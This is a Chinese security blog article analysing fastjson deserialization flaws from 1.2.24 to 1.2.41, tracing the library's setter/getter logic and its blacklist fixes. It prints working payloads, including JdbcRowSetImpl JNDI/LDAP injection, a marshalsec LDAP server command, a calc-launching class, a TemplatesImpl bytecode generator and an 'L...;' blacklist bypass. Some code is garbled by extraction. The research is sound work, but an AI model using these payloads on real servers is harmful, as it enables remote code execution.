No.1
聲明
由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
No.2
前言
其實從一開始就是想著學一下fastjson組件的反序列化。結果發現完全理解不能。
就先一路補了很多其他知識點,RMI反序列化,JNDI注入,7u21鏈等(就是之前的文章),之後也是拖了很長時間,花了很長時間,總算把這篇一開始就想寫的文,給補完了。
類似的文是已經有了不少,學習也是基於前輩們的文章一步步走來,但是個人習慣於把所有問題理清楚,講清楚。理應是把大佬們的文要細緻些。
本文需要前置知識:JNDI注入,7u21利用鏈,可以戳我往期的文章。
文章內容如下:
1.fastjson組件基礎介紹及使用(三種反序列化形式等)
2.fastjson組件的@type標識的特性說明(默認調用setter、getter方法條件等)。
3.分析了fastjson組件1.2.24版本中JNDI注入利用鏈與setter參數巧妙完美適配(前置知識參考JNDI注入一文)
4.分析了fastjson組件1.2.24版本中JDK1.7TemplatesImpl利用鏈的漏洞觸發點poc構造(前置知識參考7u21一文)
5.分析了1.2.24-1.2.46版本每個版本迭代中修改代碼,修復思路和繞過。(此時由於默認白名單的引入,漏洞危害大降)
6.到了1.2.47通殺黑白名單漏洞,因為網上對於這個分析文有點過多。這邊想著直接正向來沒得意思。嘗試從代碼審計漏洞挖掘的角度去從零開始挖掘出這一條利用鏈。最後發現產生了一種我上我也行的錯覺(當然實際上只是一種錯覺,不可避免受到了已有payload的引導,但是經過分析也算是不會對大佬的0day產生一種畏懼心理,看完也是可以理解的)最後再看了下修復。
No.3
fastjson組件
fastjson組件是阿里巴巴開發的反序列化與序列化組件。
組件api使用方法也很簡潔
//序列化String text = JSON.toJSONString(obj);//反序列化VO vo = JSON.parse; //解析為JSONObject類型或者JSONArray類型VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject類型VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class類
我們通過demo來使用一下這個組件
以下使用測試均是基於1.2.24版本的fastjson jar包
靶機搭建需要存在漏洞的jar包,但是在github上通常會下架存在漏洞的jar包。
我們可以從maven倉庫中找到所有版本jar包,方便漏洞復現。
fastjson組件使用
先構建需要序列化的User類:User.java
package com.fastjson;
public class User {
private String name;
private int age;
public String getName {
return name;}
public void setName(String name) { t
his.name = name;}
public int getAge { return age;}
public void setAge(int age) { this.age = age;}}
再使用fastjson組件
package com.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;public class Main { public static void main(String args) { //創建一個用於實驗的user類User user1 = new User;user1.setName("lala");user1.setAge(11); //序列化String serializedStr = JSON.toJSONString(user1);System.out.println("serializedStr="+serializedStr); //通過parse方法進行反序列化,返回的是一個JSONObjectObject obj1 = JSON.parse(serializedStr);System.out.println("parse反序列化對象名稱:"+obj1.getClass.getName);System.out.println("parse反序列化:"+obj1); //通過parseObject,不指定類,返回的是一個JSONObjectObject obj2 = JSON.parseObject(serializedStr);System.out.println("parseObject反序列化對象名稱:"+obj2.getClass.getName);System.out.println("parseObject反序列化:"+obj2); //通過parseObject,指定類後返回的是一個相應的類對象Object obj3 = JSON.parseObject(serializedStr,User.class);System.out.println("parseObject反序列化對象名稱:"+obj3.getClass.getName);System.out.println("parseObject反序列化:"+obj3);}}
以上使用了三種形式反序列化
結果如下:
//序列化serializedStr={"age":11,"name":"lala"}//parse({..})反序列化parse反序列化對象名稱:com.alibaba.fastjson.JSONObjectparse反序列化:{"name":"lala","age":11}//parseObject({..})反序列化parseObject反序列化對象名稱:com.alibaba.fastjson.JSONObjectparseObject反序列化:{"name":"lala","age":11}//parseObject({},class)反序列化parseObject反序列化對象名稱:com.fastjson.UserparseObject反序列化:com.fastjson.User@3d71d552
parseObject({..})其實就是parse({..})的一個封裝,對於parse的結果進行一次結果判定然後轉化為JSONOBject類型。
public static JSONObject parseObject(String text) {Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);}
而parseObject({},class)好像會調用class加載器進行類型轉化,但這個細節不是關鍵,就不研究了
那麼三種反序列化方式除了返回結果之外,還有啥區別?
在執行過程調用函數上有不同。
package com.fastjson;import com.alibaba.fastjson.JSON;import java.io.IOException;public class FastJsonTest { public String name; public String age; public FastJsonTest throws IOException {} public void setName(String test) {System.out.println("name setter called"); this.name = test;} public String getName {System.out.println("name getter called"); return this.name;} public String getAge{System.out.println("age getter called"); return this.age;} public static void main(String args) {Object obj = JSON.parse("{\"@type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");System.out.println(obj);Object obj2 = JSON.parseObject("{\"@type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");System.out.println(obj2);Object obj3 = JSON.parseObject("{\"@type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}",FastJsonTest.class);System.out.println(obj3);}}
結果如下:
//JSON.parse("")name setter calledcom.fastjson.FastJsonTest@5a2e4553//JSON.parseObject("")name setter calledage getter calledname getter called{"name":"thisisname","age":"thisisage"}//JSON.parseObject("",class)name setter calledcom.fastjson.FastJsonTest@e2144e4
結論:
parse("") 會識別並調用目標類的特定 setter 方法及某些特定條件的 getter 方法parseObject("") 會調用反序列化目標類的特定 setter 和 getter 方法(此處有的博客說是所有setter,個人測試返回String的setter是不行的,此處打個問號)parseObject("",class) 會識別並調用目標類的特定 setter 方法及某些特定條件的 getter 方法特定的setter和getter的調用都是在解析過程中的調用。(具體是哪些setter和getter會被調用,我們將在之後講到)
之所以parseObject("")有區別就是因為parseObject("")比起其他方式多了一步toJSON操作,在這一步中會對所有getter進行調用。
@type
那麼除開正常的序列化,反序列化。fastjson提供特殊字符段@type,這個欄位可以指定反序列化任意類,並且會自動調用類中屬性的特定的set,get方法。
我們先來看一下這個欄位的使用:
//@使用特定修飾符,寫入@type序列化String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);System.out.println("serializedStr1="+serializedStr1);//通過parse方法進行反序列化Object obj4 = JSON.parse(serializedStr1);System.out.println("parse反序列化對象名稱:"+obj4.getClass.getName);System.out.println("parseObject反序列化:"+obj4);//通過這種方式返回的是一個相應的類對象Object obj5 = JSON.parseObject(serializedStr1);System.out.println("parseObject反序列化對象名稱:"+obj5.getClass.getName);System.out.println("parseObject反序列化:"+obj5);
//序列化serializedStr1={"@type":"com.fastjson.User","age":11,"name":"lala"}//parse反序列化parse反序列化對象名稱:com.fastjson.UserparseObject反序列化:com.fastjson.User@1cf4f579//parseObject反序列化parseObject反序列化對象名稱:com.alibaba.fastjson.JSONObjectparseObject反序列化:{"name":"lala","age":11}
這邊在調試的時候,可以看到,本該解析出來的@type都沒有解析出來
以上我們可以知道當@type輸入的時候會特殊解析(不然的話會有@type:com.fastjson.User的鍵值對),那麼自動調用其特定的set,get方法怎麼說呢?
我們先建立一個序列化實驗用的Person類
Person.java
package com.fastjson;import java.util.Properties;public class Person { //屬性public String name; private String full_name; private int age; private Boolean sex; private Properties prop; //構造函數public Person{System.out.println("Person構造函數");} //setpublic void setAge(int age){System.out.println("setAge"); this.age = age;} //get 返回Booleanpublic Boolean getSex{System.out.println("getSex"); return this.sex;} //get 返回ProPertiespublic Properties getProp{System.out.println("getProp"); return this.prop;} //在輸出時會自動調用的對象ToString函數public String toString {String s = "[Person Object] name=" + this.name + " full_name=" + this.full_name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex; return s;}}
@type反序列化實驗:
package com.fastjson;import com.alibaba.fastjson.JSON;public class type { public static void main(String args) {String eneity3 = "{\"@type\":\"com.fastjson.Person\", \"name\":\"lala\", \"full_name\":\"lalalolo\", \"age\": 13, \"prop\": {\"123\":123}, \"sex\": 1}"; //反序列化Object obj = JSON.parseObject(eneity3,Person.class); //輸出會調用obj對象的tooString函數System.out.println(obj);}}
結果如下:
Person構造函數setAgegetProp[Person Object] name=lala full_name=null, age=13, prop=null, sex=nullpublic name 反序列化成功private full_name 反序列化失敗private age setAge函數被調用private sex getsex函數沒有被調用private prop getprop函數被成功調用
可以得知:
public修飾符的屬性會進行反序列化賦值,private修飾符的屬性不會直接進行反序列化賦值,而是會調用setxxx(xxx為屬性名)的函數進行賦值。getxxx(xxx為屬性名)的函數會根據函數返回值的不同,而選擇被調用或不被調用決定這個set/get函數是否將被調用的代碼最終在com.alibaba.fastjson.util.JavaBeanInfo#build函數處
在進入build函數後會遍歷一遍傳入class的所有方法,去尋找滿足set開頭的特定類型方法;再遍歷一遍所有方法去尋找get開頭的特定類型的方法
set開頭的方法要求如下:
方法名長度大於4且以set開頭,且第四個字母要是大寫非靜態方法返回類型為void或當前類參數個數為1個尋找到符合要求的set開頭的方法後會根據一定規則提取方法名後的變量名(好像會過濾_,就是set_name這樣的方法名中的下劃線會被略過,得到name)。再去跟這個類的屬性去比對有沒有這個名稱的屬性。
如果沒有這個屬性並且這個set方法的輸入是一個布爾型(是boolean類型,不是Boolean類型,這兩個是不一樣的),會重新給屬性名前面加上is,再取頭兩個字符,第一個字符為大寫(即isNa),去尋找這個屬性名。
這裡的is就是有的網上有的文章中說反序列化會自動調用get、set、is方法的由來。個人覺得這種說法應該是錯誤的。
真實情況應該是確認存在符合setXxx方法後,會與這個方法綁定一個xxx屬性,如果xxx屬性不存在則會綁定isXx屬性(這裡is後第一個字符需要大寫,才會被綁定)。並沒有調用is開頭的方法
自己從源碼中分析或者嘗試在類中添加isXx方法都是不會被調用的,這裡只是為了指出其他文章中的一個錯誤。這個與調用的set方法綁定的屬性,再之後並沒有發現對於調用過程有什麼影響。
所以只要目標類中有滿足條件的set方法,然後得到的方法變量名存在於序列化字符串中,這個set方法就可以被調用。
如果有老哥確定是否可以調用is方法,可以聯繫我,非常感謝。
get開頭的方法要求如下:
方法名長度大於等於4非靜態方法以get開頭且第4個字母為大寫無傳入參數返回值類型繼承自Collection Map AtomicBoolean AtomicInteger AtomicLong所以我們上面例子中的getsex方法沒有被調用是因為返回類型不符合,而getprop方法被成功調用是因為Properties 繼承 Hashtable,而Hashtable實現了Map接口,返回類型符合條件。
再順便看一下最後觸發方法調用的地方com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue,(在被調用的方法中下斷點即可)
那麼至此我們可以知道
@type可以指定反序列化成伺服器上的任意類然後服務端會解析這個類,提取出這個類中符合要求的setter方法與getter方法(如setxxx)如果傳入json字符串的鍵值中存在這個值(如xxx),就會去調用執行對應的setter、getter方法(即setxxx方法、getxxx方法)上面說到readObejct("")還會額外調用toJSON調用所有getter函數,可以不符合要求。
看上去應該是挺正常的使用邏輯,反序列化需要調用對應參數的setter、getter方法來恢復數據。
但是在可以調用任意類的情況下,如果setter、getter方法中存在可以利用的情況,就會導致任意命令執行。
對應反序列化攻擊利用三要素來說,以上我們就是找到了readObject複寫點,下面來探討反序列化利用鏈。
我們先來看最開始的漏洞版本是<=1.2.24,在這個版本前是默認支持@type這個屬性的。
No.4
【<=1.2.24】JNDI注入利用鏈——com.sun.rowset.JdbcRowSetImpl
利用條件
JNDI注入利用鏈是通用性最強的利用方式,在以下三種反序列化中均可使用:
parse(jsonStr)parseObject(jsonStr)parseObject(jsonStr,Object.class)
當然JDK版本有特殊需求,在JNDI注入一文中已說過,這裡就不再說明
利用鏈
在JNDI注入一文中我們已經介紹了利用鏈,把漏洞觸發代碼從
String uri = "rmi://127.0.0.1:1099/aa";//可控uriContext ctx = new InitialContext;ctx.lookup(uri);
衍生到了
import com.sun.rowset.JdbcRowSetImpl;public class CLIENT { public static void main(String args) throws Exception {JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl;//只是為了方便調用JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uriJdbcRowSetImpl_inc.setAutoCommit(true);}}
下面嘗試用fastjson的@type來使服務端執行以上代碼,可以看到我們需要調用的兩個函數都是以set開頭!這說明我們可以把這個函數當作setter函數進行調用!
去看一下這兩個函數接口符不符合setter函數的條
public void setDataSourceName(String var1) throws SQLException public void setAutoCommit(boolean var1)throws SQLException
方法名長度大於4且以set開頭,且第四個字母要是大寫
非靜態方法
返回類型為void或當前類
參數個數為1個
完美符合!直接給出payload!
{"@type":"com.sun.rowset.JdbcRowSetImpl", //調用com.sun.rowset.JdbcRowSetImpl函數中的"dataSourceName":"ldap://127.0.0.1:1389/Exploit", // setdataSourceName函數 傳入參數"ldap://127.0.0.1:1389/Exploit""autoCommit":true // 再調用setAutoCommit函數,傳入true}
java環境:jdk1.8.0_161 < 1.8u191 (可以使用ldap注入)
package 版本24;import com.alibaba.fastjson.JSON;import com.fastjson.User;public class POC {String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";JSON.parse(payload);}
使用工具起一個ldap服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest
之前的ExecTest.class,也不用修改直接上來
import java.io.IOException;import java.util.Hashtable;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;public class ExecTest implements ObjectFactory { public ExecTest {} public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {exec("xterm"); return null;} public static String exec(String var0) { try {Runtime.getRuntime.exec("calc.exe");} catch (IOException var2) {var2.printStackTrace;} return "";} public static void main(String var0) {exec("123");}}
在1.8下編譯後使用python起web服務
py -3 -m http.server 8090
No.5
【<=1.2.24】JDK1.7 的TemplatesImpl利用鏈
利用條件
基於JDK1.7u21 Gadgets 的觸發點TemplatesImple的利用條件比較苛刻:
服務端使用parseObject時,必須使用如下格式才能觸發漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);服務端使用parse時,需要JSON.parse(text1,Feature.SupportNonPublicField);這是因為payload需要賦值的一些屬性為private屬性,服務端必須添加特性才回去從json中恢復private屬性的數據
對於 JDK1.7u21 Gadgets 不熟悉的同學,可以參考我之前的文章。
在之前的文章也說過,TemplatesImpl對應的整條利用鏈是只有在JDK1.7u21附近的版本才能使用,但是最後TemplatesImpl這個類的觸發點,其實是1.7全版本通用的。(因為修復只砍在了中間環節AnnotationInvocationHandler類)
那麼實際上fastjson正是只利用了最後的TemplatesImpl觸發點。這個利用方式實際上是1.7版本通用的。其利用局限性在於服務端反序列化json的語句必須要支持private屬性。
網上的payload,需要自己編譯生成一個class文件不是很方便。
在版本24.jdk7u21_mine中自己把7u21鏈的payload中拿過來,自己改了下,可以自動生成payload。
public class jdk7u21_mine { //最終執行payload的類的原始模型//ps.要payload在static模塊中執行的話,原始模型需要用static方式。public static class lala{} //返回一個在實例化過程中執行任意代碼的惡意類的byte碼//如果對於這部分生成原理不清楚,參考以前的文章public static byte getevilbyte throws Exception {ClassPool pool = ClassPool.getDefault;CtClass cc = pool.get(lala.class.getName); //要執行的最終命令String cmd = "java.lang.Runtime.getRuntime.exec(\"calc\");"; //之前說的靜態初始化塊和構造方法均可,這邊用靜態方法cc.makeClassInitializer.insertBefore(cmd);// CtConstructor cons = new CtConstructor(new CtClass{}, cc);// cons.setBody("{"+cmd+"}");// cc.addConstructor(cons);//設置不重複的類名String randomClassName = "LaLa"+System.nanoTime;cc.setName(randomClassName); //設置滿足條件的父類cc.setSuperclass((pool.get(AbstractTranslet.class.getName))); //獲取字節碼byte lalaByteCodes = cc.toBytecode; return lalaByteCodes;} //生成payload,觸發payloadpublic static void poc throws Exception { //生成攻擊payloadbyte evilCode = getevilbyte;//生成惡意類的字節碼String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封裝final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{"+ "\"@type\":\"" + NASTY_CLASS +"\","+ "\"_bytecodes\":[\""+evilCode_base64+"\"],"+ "'_name':'a.b',"+ "'_tfactory':{ },"+ "'_outputProperties':{ }"+ "}\n"; //此處刪除了一些我覺得沒有用的參數(第二個_name,_version,allowedProtocols),並沒有發現有什麼影響System.out.println(text1); //服務端觸發payloadParserConfig config = new ParserConfig;Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);} //main函數調用以下poc而已public static void main(String args){ try {poc;} catch (Exception e) {e.printStackTrace;}}}
可以看到payload使用@type反序列化了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl這個類。
7u21 那篇文中總結得到惡意TemplatesImple類需要滿足如下條件。
TemplatesImpl類的 _name 變量 != nullTemplatesImpl類的_class變量 == nullTemplatesImpl類的 _bytecodes 變量 != nullTemplatesImpl類的_bytecodes是我們代碼執行的類的字節碼。_bytecodes中的類必須是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子類我們需要執行的惡意代碼寫在_bytecodes 變量對應的類的靜態方法或構造方法中。TemplatesImpl類的_tfactory需要是一個擁有getExternalExtensionsMap方法的類,使用jdk自帶的TransformerFactoryImpl類顯而易見1-3,5均符合(_class沒有賦值即為null)。
然後我們調用滿足條件的惡意TemplatesImple類的getOutputProperties方法,完成RCE。這是fastjson將自動調用欄位的getter方法導致的,我們看一下getOutputProperties方法是否滿足自動調用getter方法的條件: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
public synchronized Properties getOutputProperties { try { return newTransformer.getOutputProperties;} catch (TransformerConfigurationException e) { return null;}}
方法名長度大於等於4
非靜態方法
以get開頭且第4個字母為大寫
無傳入參數
返回值類型繼承自Collection Map AtomicBoolean AtomicInteger AtomicLong(上面舉例的時候說過Properties繼承自Hashtables,實現了Map,所以符合)
那麼存在以下三個問題
為什麼_tfactory可以是一個空的對象,而不是一個擁有getExternalExtensionsMap的類?_bytecodes為什麼不再是字節碼,而是需要base64編碼?我們要調用TemplatesImple類的getOutputProperties方法,但是為什麼是_outputProperties欄位,多了一個_?_tfactory為空的說明
在fastjson組件對於以上這一串東西進行解析時,會先解析出@type來還原出TemplatesImpl類。然後再根據之後的欄位將TemplatesImpl類的屬性賦值,至於賦值的內容會重新進行一次解析。
在看對於賦值內容的解析步驟時,會發現當賦值的值為一個空的Object對象時,會新建一個需要賦值的欄位應有的格式的新對象實例。
/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:627
/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:62
那麼_tfactory的應有的格式是哪來的呢,從定義來。
/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
/*** A reference to the transformer factory that this templates* object belongs to.*/private transient TransformerFactoryImpl _tfactory = null;
所以之所以_tfactory的json字符串的值為空是OK的。
_bytecodes需要base64編碼
跟蹤_bytecodes欄位的值處理,同樣還是剛才的地方,但是由於_bytecodes的值不是對象,進入另一個賦值方式。
/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:71
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
//進去後判斷欄位類型,當前是class[B byte數組,上面啥都不做,進行解析...}JSONArray array = new JSONArray;parser.parseArray(componentClass, array, fieldName);//進入此處return (T) toObjectArray(parser, componentClass, array);}
com.alibaba.fastjson.parser.DefaultJSONParser#parseArray(java.lang.reflect.Type, java.util.Collection, java.lang.Object)
//type=class [B byte數組//fieldName = _bytecodespublic void parseArray(Type type, Collection array, Object fieldName) {...//這邊就是在根據type類型進行不同的處理} else {//byte數組進入此處val = deserializer.deserialze(this, type, i);//在這句進行解析}array.add(val);checkListResolve(array);} if (lexer.token == JSONToken.COMMA) {lexer.nextToken(deserializer.getFastMatchToken); continue;}}} finally { this.setContext(context);}
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { final JSONLexer lexer = parser.lexer; if (lexer.token == JSONToken.NULL) {lexer.nextToken(JSONToken.COMMA); return null;} //我們輸入的json串中, _bytecodes 欄位對應的值是String類型字符串,進入此處if (lexer.token == JSONToken.LITERAL_STRING) { byte bytes = lexer.bytesValue;//進入此處,獲取json串的值恢復到byte數組lexer.nextToken(JSONToken.COMMA); return (T) bytes;}
com.alibaba.fastjson.parser.JSONScanner#bytesValue
public byte bytesValue { return IOUtils.decodeBase64(text, np + 1, sp);//base64解碼}
可見在代碼邏輯中,欄位的值從String恢復成byte,會經過一次base64解碼。這是應該是fastjson在傳輸byte中做的一個內部規定。序列化時應該也會對byte自動base64編碼。
try一下,果然如此。
_getOutputProperties欄位=>getOutputProperties方法
簡單的刪掉_試一下:
可以發現,並不會對結果造成什麼影響,可見這個_不是必須的。
那麼是在哪裡對這個_進行了處理呢?
在欄位解析之前,會對於當前欄位進行一次智能匹配com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField:
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,Map<String, Object> fieldValues) {JSONLexer lexer = parser.lexer;FieldDeserializer fieldDeserializer = smartMatch(key);//進入此處,根據json串的欄位名來獲取欄位反序列化解析器。...
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch
public FieldDeserializer smartMatch(String key) { if (key == null) { return null;}FieldDeserializer fieldDeserializer = getFieldDeserializer(key); if (fieldDeserializer == null) { boolean startsWithIs = key.startsWith("is");... //以下省略了對於is開頭的欄位的一些判斷邏輯。//好像滿足了一定條件,會去跟對應的符合getter,settger的方法名匹配。//好像又回到is方法可以調用不了,但是真的腦殼疼,漏洞關鍵也不在於此,就不糾結了。}} //遍歷我們輸入的key的每一個字符,匹配第一個-或_替換為空if (fieldDeserializer == null) { boolean snakeOrkebab = false;String key2 = null; for (int i = 0; i < key.length; ++i) { char ch = key.charAt(i); if (ch == '_') {snakeOrkebab = true;key2 = key.replaceAll("_", ""); break;} else if (ch == '-') {snakeOrkebab = true;key2 = key.replaceAll("-", ""); break;}} //接下來根據替換後的key2,去尋找對應符合getter,setter的方法名進行匹配。
然後在賦值的時候完美觸發getoutputProperties方法。
com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)
public void setValue(Object object, Object value) { if (value == null //&& fieldInfo.fieldClass.isPrimitive) { return;} try {Method method = fieldInfo.method; if (method != null) { if (fieldInfo.getOnly) { //判斷特殊類型... //進入getoutputProperties方法的返回值是Properties符合該一項(之前說過)} else if (Map.class.isAssignableFrom(method.getReturnType)) { //進入調用,object是我們的惡意TemplatesImpl類Map map = (Map) method.invoke(object);
那麼以上流程就是_getOutputProperties欄位 => getOutputProperties方法具體演變的細節。那麼以上分析結果也讓我們知道加個騷氣的小槓-應該也是可以的。
至此就完成了在知道Templates觸發類原理的情況下,變形衍生到了fastjson中完成RCE。
至於Templates惡意類的第二個觸發點,xalan 2.7.2的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,在JDK反序列化Gadgets7u21一文中有補充說明,這裡就不多說了
No.6
Fastjson抗爭的一生
在講述完最開始引發漏洞的1.2.24版本之後,其實接下來的部分才是開起此篇的初衷。但是因為基礎實在是差+懶,直到現在才開始正文。
1.2.24漏洞版本修復
在1.2.25版本,針對1.2.24版本進行了修復。
我們可以總結以下1.2.24版本的漏洞產生原因:
@type該關鍵詞的特性會加載任意類,並給提供的輸入欄位的值進行恢復,如果欄位有setter、getter方法會自動調用該方法,進行賦值,恢復出整個類。這個過程會被叫做fastjson的反序列化過程,注意不要把這個過程跟java反序列化過程混為一談。它們兩個是同等級的存在,而不是前者基於後者之上。也就是說readObject反序列化利用點那一套在這根本不適用。相應的@type加載任意類+符合條件的setter與getter變成了反序列化利用點(個人總結的三要素中的反序列化漏洞觸發點)。在找到可以調用的setter、getter之後,從這個可以被出發的setter、getter之後就可以沿著不同的反序列化利用鏈前進,比如具有一定限制條件的TemplatesImpl利用鏈,JNDI注入的利用鏈。(個人總結三要素中的反序列化利用鏈)沿著鏈就會到最後的payload觸發點。比如JNDI的遠程惡意class文件的實例化操作(構造函數,靜態方法)或調用類中getObjectInstance方法,與TemplatesImpl利用鏈中的class文件字節碼的的實例化操作(構造函數,靜態方法)(個人總結三要素中的反序列化payload觸發點)可以注意到最終的payload觸發點具有好像是巧合的統一性,都類似於是一個class文件的實例化操作。在commons-collections中則是反射機制(這在@type中的getter、setter函數調用中也被用到)。我們應該對這兩個點產生敏感性。
修復則是針對三要素中的一者進行截斷。在1.2.25中的修復原理就是針對了反序列化漏洞觸發點進行限制。對於@type標籤進行一個白名單+黑名單的限制機制。
使用萬能的idea對兩個版本的jar包進行對比
可以注意到,在解析json串的DefaultJSONParser類中做了一行代碼的修改。當輸入的鍵值是@type時,原本直接對值對應的類進行加載。現在會將值ref傳入checkAutoType方法中。
checkAutoType是1.2.25版本中新增的一個白名單+黑名單機制。同時引入一個配置參數AutoTypeSupport。參考官方wiki
Fastjson默認AutoTypeSupport為False(開啟白名單機制),通過需要服務端通過以下代碼來顯性修改。
ParserConfig.getGlobalInstance.setAutoTypeSupport(true); (關閉白名單機制)
由於checkAutoType中兩條路線的代碼是穿插的,我們先來看默認AutoTypeSupport為False時的代碼。
1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(開啟白名單機制)
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null;} final String className = typeName.replace('$', '.'); //一些固定類型的判斷,此處不會對clazz進行賦值,此處省略if (!autoTypeSupport) { //進行黑名單匹配,匹配中,直接報錯退出for (int i = 0; i < denyList.length; ++i) {String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName);}} //對白名單,進行匹配;如果匹配中,調用loadClass加載,賦值clazz直接返回for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i]; if (className.startsWith(accept)) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName);} return clazz;}}} //此處省略了當clazz不為null時的處理情況,與expectClass有關//但是我們這裡輸入固定是null,不執行此處代碼//可以發現如果上面沒有觸發黑名單,返回,也沒有觸發白名單匹配中的話,就會在此處被攔截報錯返回。if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName);} //執行不到此處return clazz;}
可以得出在默認的AutoTypeSupport為False時,要求不匹配到黑名單,同時必須匹配到白名單的class才可以成功加載。
看一下默認黑名單,默認白名單(最下面,默認為空)
這條路完全被白名單堵死了,所以默認的情況下是不可能繞過的。我們的兩個payload也都被com.sun這一條黑名單給匹配了。
1.2.25-1.2.41繞過
所以接下來所謂的繞過都是在服務端顯性開啟AutoTypeSupport為True的情況下進行的。(這是一個很大的限制條件)
我們先來看顯性修改AutoTypeSupport為True時的代碼:
1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(關閉白名單機制)
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null;} final String className = typeName.replace('$', '.'); if (autoTypeSupport || expectClass != null) { //先進行白名單匹配,如果匹配成功則直接返回。可見所謂的關閉白名單機制是不只限於白名單for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader);}} //同樣進行黑名單匹配,如果匹配成功,則報錯推出。//需要注意這百年所謂的匹配都是startsWith開頭匹配for (int i = 0; i < denyList.length; ++i) {String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName);}}} //一些固定類型的判斷,不會對clazz進行賦值,此處省略//不匹配白名單中也不匹配黑名單的,進入此處,進行class加載if (autoTypeSupport || expectClass != null) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);} //對於加載的類進行危險性判斷,判斷加載的clazz是否繼承自Classloader與DataSourceif (clazz != null) { if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver) { throw new JSONException("autoType is not support. " + typeName);} if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz;} else { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName);}}} //返回加載的classreturn clazz;}
可見在顯性關閉白名單的情況下,我們也需要繞過黑名單檢測,同時加載的類不能繼承自Classloader與DataSource。
看似我們只能找到其他的利用類跟黑名單進行硬剛。但我們再跟一下類的加載TypeUtils.loadClass就會有所發現。
public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className == null || className.length == 0) { return null;}Class<?> clazz = mappings.get(className); if (clazz != null) { return clazz;} //特殊處理1!if (className.charAt(0) == '[') {Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass;} //特殊處理2!if (className.startsWith("L") && className.endsWith(";")) {String newClassName = className.substring(1, className.length - 1); return loadClass(newClassName, classLoader);}...
如果這個className是以[開頭我們會去掉[進行加載!但是實際上在代碼中也可以看見它會返回Array的實例變成數組。在實際中它遠遠不會執行到這一步,在json串解析時就已經報錯。如果這個className是以L開頭;結尾,就會去掉開頭和結尾進行加載!那麼加上L開頭;結尾實際上就可以繞過所有黑名單。那麼理所當然的payload就為:
//1.2.25-41繞過 jndi ldap{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}//1.2.25-41繞過 7u21同樣加上L;,payload太長了且不唯一,就不寫了
1.2.42版本修復
在1.2.42中對於1.2.41版本進行了修復,對於兩個jar進行對比可以發現DefaultJSONParser.java沒有什麼關鍵的修改。
關鍵是在ParserConfig.java中修改了以下兩點:
